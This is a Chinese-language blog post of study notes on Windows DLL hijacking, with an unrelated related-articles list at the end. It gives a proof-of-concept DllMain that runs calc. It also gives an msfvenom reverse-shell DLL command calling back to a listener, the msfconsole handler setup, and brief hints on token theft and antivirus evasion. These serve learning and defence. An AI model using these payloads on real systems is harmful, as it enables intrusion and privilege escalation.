DLL劫持漏洞

以下是自己学习时做的一些笔记,希望对各位有所帮助

DLL劫持漏洞

为什么程序中会有dll的存在

对于 Windows 操作系统,操作系统的大部分功能都由 DLL 提供。 另外,当您在这些 Windows 操作系统之一上运行某一程序时,该程序的很多功能可能是由 DLL 提供的。 例如,某些程序可能包含很多不同的模块,而该程序的每个模块都包含在 DLL 中并从中分发。

使用 DLL 有助于促进代码的模块化、代码重用、内存的有效使用和减少所占用的磁盘空间。 因此,操作系统和程序能够更快地加载和运行,并且在计算机中占用较少的磁盘空间。

当程序使用 DLL 时,一个称为依赖性的问题可能导致该程序无法运行。 当程序使用 DLL 时,就会创建一个依赖项。 如果其他程序改写和损坏了该依赖项,原来的那个程序就可能无法成功运行。

为什么程序会使用dll

dll的优点

使用较少的资源

当多个程序使用同一个函数库时,DLL 可以减少在磁盘和物理内存中加载的代码的重复量。 这不仅可以大大影响在前台运行的程序,而且可以大大影响其他在 Windows 操作系统上运行的程序。

推广模块式体系结构

DLL 有助于促进模块式程序的开发。 这可以帮助你开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。 模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。

简化部署和安装

当 DLL 中的函数需要更新或修复时,部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。 此外,如果多个程序使用同一个 DLL,那么多个程序都将从该更新或修复中获益。 当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地出现。

dll的定义:

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

dll故障排除工具

Dependency Walker

Dependency Walker 工具可以递归扫描以寻找程序所使用的所有依赖 DLL。 在 Dependency Walker 中打开程序时,Dependency Walker 会执行下列检查:

Dependency Walker 检查是否丢失 DLL。

Dependency Walker 检查是否存在无效的程序文件或 DLL。

Dependency Walker 检查导入函数和导出函数是否匹配。

Dependency Walker 检查是否存在循环依赖性错误。

Dependency Walker 检查是否存在由于针对另一不同操作系统而无效的模块。

通过使用 Dependency Walker,您可以记录程序使用的所有 DLL。 这可能有助于避免和更正将来可能发生的 DLL 问题。 安装 Visual Studio 6.0 时,Dependency Walker 将位于以下目录中:

drive\Program Files\Microsoft Visual Studio\Common\Tools

劫持漏洞的产生

这里我查看资料理解的意思是,就是自己编写dll代码,然后把这个代码放到你要劫持的同一个目录下,然后程序运行时,则会优先运行你的dll,只要你的dll代码优先级高于它本身的dll就可以实现dll劫持。

dll劫持漏洞

编写dll劫持漏洞的代码

我们有的时候写入的dll代码有的时候程序运行起来,可能会报错,但这个时候我们可以做的是,在我们自己写的dll里面加入反调用函数,直接调用程序本身的dll,使得程序正常运行起来。

用C编写

运行了一下dll后,会弹出一个计算器

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

WinExec("calc", SW_NORMAL);

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

extern "C" __declspec(dllexport) void PlaySoundA()

{

WinExec("calc", SW_NORMAL);

}

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)

{

       return x + y;

}

extern "C" int __declspec(dllexport)sub(int x, int y)

{

       return x - y;

}

extern "C" int __declspec(dllexport)mul(int x, int y)

{

       return x * y;

}

extern "C" int __declspec(dllexport)divs(int x, int y)

{

       return x / y;

}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)

{

       return true;

}

用msf进行dll漏洞劫持

我们一开始先查找程序的dll,然后我们要去写一个和程序名字相同的dll,只不过这里的dll是我们用msf生成的木马病毒

命令如下

生成一个dll病毒

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134  lport=6677 -f dll >./libssl-1_1.dll

然后将这个文件放到程序同一个目录下,然后运行这个程序

然后我们这只要监听端口,等着反弹shell就ok

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.8.134

set lport 6677

run

这里可以配合令牌窃取,然后就可以拿到system权限

免杀

就是对我们写好的dll文件头部进行隐藏,修改成正常的dll文件,但核心还是一个病毒的程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/211110.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python语言:猜数字游戏案例讲解

猜数字游戏题目要求如下&#xff1a;该程序随机生成一个1到100之间的整数&#xff0c;然后要求玩家在有限的次数内猜出这个数字。如果玩家猜对了&#xff0c;游戏结束并显示成功信息&#xff1b;如果玩家猜错了&#xff0c;程序会提示玩家猜的数字是偏大还是偏小&#xff0c;并…

最新版灵沐V3.3微信资源类小程序源码支持流量主

源码简介 最新版灵沐V3.3微信资源类小程序源码支持流量主&#xff0c;一套不错的流量主变现资源下载小程序&#xff0c;它支持在微信、QQ和抖音平台上运行。这次更新主要集中在全局UI设计的升级&#xff0c;并依然注重资源下载和激励视频变现的功能。另外&#xff0c;还新增了…

如何利用Python进行数据归一化?

1. 知识简介 数据归一化是数据预处理的一项重要步骤&#xff0c;它对于提高模型性能、加速模型训练、避免数值计算问题以及提高模型的泛化能力都具有重要作用。进行数据归一化可以起到以下作用&#xff1a;消除量纲影响&#xff0c;加速模型收敛&#xff0c;提高模型性能&…

每日汇评:黄金测试2000美元水平遭到拒绝,为下跌留下了空间

黄金在心理关键的2000美元水平失去了上升动力&#xff1b; 美元指数上涨持续&#xff0c;同时国债收益率反弹&#xff0c;都对黄金价格的上涨构成压力&#xff1b; 美国即将迎来感恩节假期&#xff0c;意味着明天和周五流动性较低&#xff1b; 黄金价格继续在每盎司2000美元以上…

【Linux】 id命令使用

id id命令来显示用户的UID、组GID。 著者 由阿诺德罗宾斯和大卫麦肯齐撰写。 语法 id [参数] [用户名] id命令 -Linux手册页 命令选项及作用 执行令 id --help 执行命令结果 参数 -g 或 --group  显示用户所属群组的ID。-G 或 --groups  显示用户所属附加群组的ID。…

Thread类常用成员方法

点击链接返回标题-> Java线程的学习-CSDN博客 目录 前言 有关线程名字的成员方法&#xff1a; String getName() void setName(String name) Thread(String name) 获取线程对象的成员方法&#xff1a; static Thread currentThread() 让线程睡眠的成员方法&#xff1…

JAVA实现flappy bird游戏

图片素材 实现代码 import javax.imageio.ImageIO; import javax.swing.*; import java.awt.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; import java.util.Date; import java.text.SimpleDateFormat; i…

项目管理中的资源日历是什么?有什么作用

管理项目不仅需要规划和预算&#xff0c;还需要日程安排。 资源日历是一种显示项目经理或团队领导在特定时间内可用资源的工具。这种类型的项目日历可以显示团队成员和设备在特定时间段内的可用工作时间。 例如&#xff0c;如果一名员工每天工作 8 小时&#xff0c;而他已经在…

python+django高校科研项目管理系统2u3mx

高校科研项目管理系统采用拟开发的高校科研项目管理系统通过测试,确保在最大负载的情况下稳定运转,各个模块工作正常,具有较高的可用性。系统整体界面简洁美观,用户使用简单,满足用户需要。在因特网发展迅猛的当今社会,高校科研项目管理系统必然会成为在数字信息化建设的一个重…

GaussDB技术解读系列:数据实例的连接

GaussDB是华为公司倾力打造的自研企业级分布式关系型数据库&#xff0c;该产品具备企业级复杂事务混合负载能力&#xff0c;同时支持优异的分布式事务&#xff0c;同城跨AZ部署&#xff0c;数据0丢失&#xff0c;支持1000扩展能力&#xff0c;PB级海量存储等企业级数据库特性。…

程序员进阶高管指南,看懂工资最少加5k

从象牙塔毕业跨入社会大染缸&#xff0c;很多人都跟我谈过他们的职业困惑&#xff0c;其中有一些刚刚毕业&#xff0c;有些人已经工作超过10年。基本上是围绕着怎样持续提升&#xff0c;怎样晋升为高级管理者。那么这篇文章&#xff0c;我就来谈一谈程序员到高管的跃升之路。 …

10.分组循环练习题

分组循环 https://leetcode.cn/problems/longest-even-odd-subarray-with-threshold/solutions/2528771/jiao-ni-yi-ci-xing-ba-dai-ma-xie-dui-on-zuspx/?envTypedaily-question&envId2023-11-16 分组循环 适用场景&#xff1a; 按照题目要求&#xff0c;数组会被分割成若…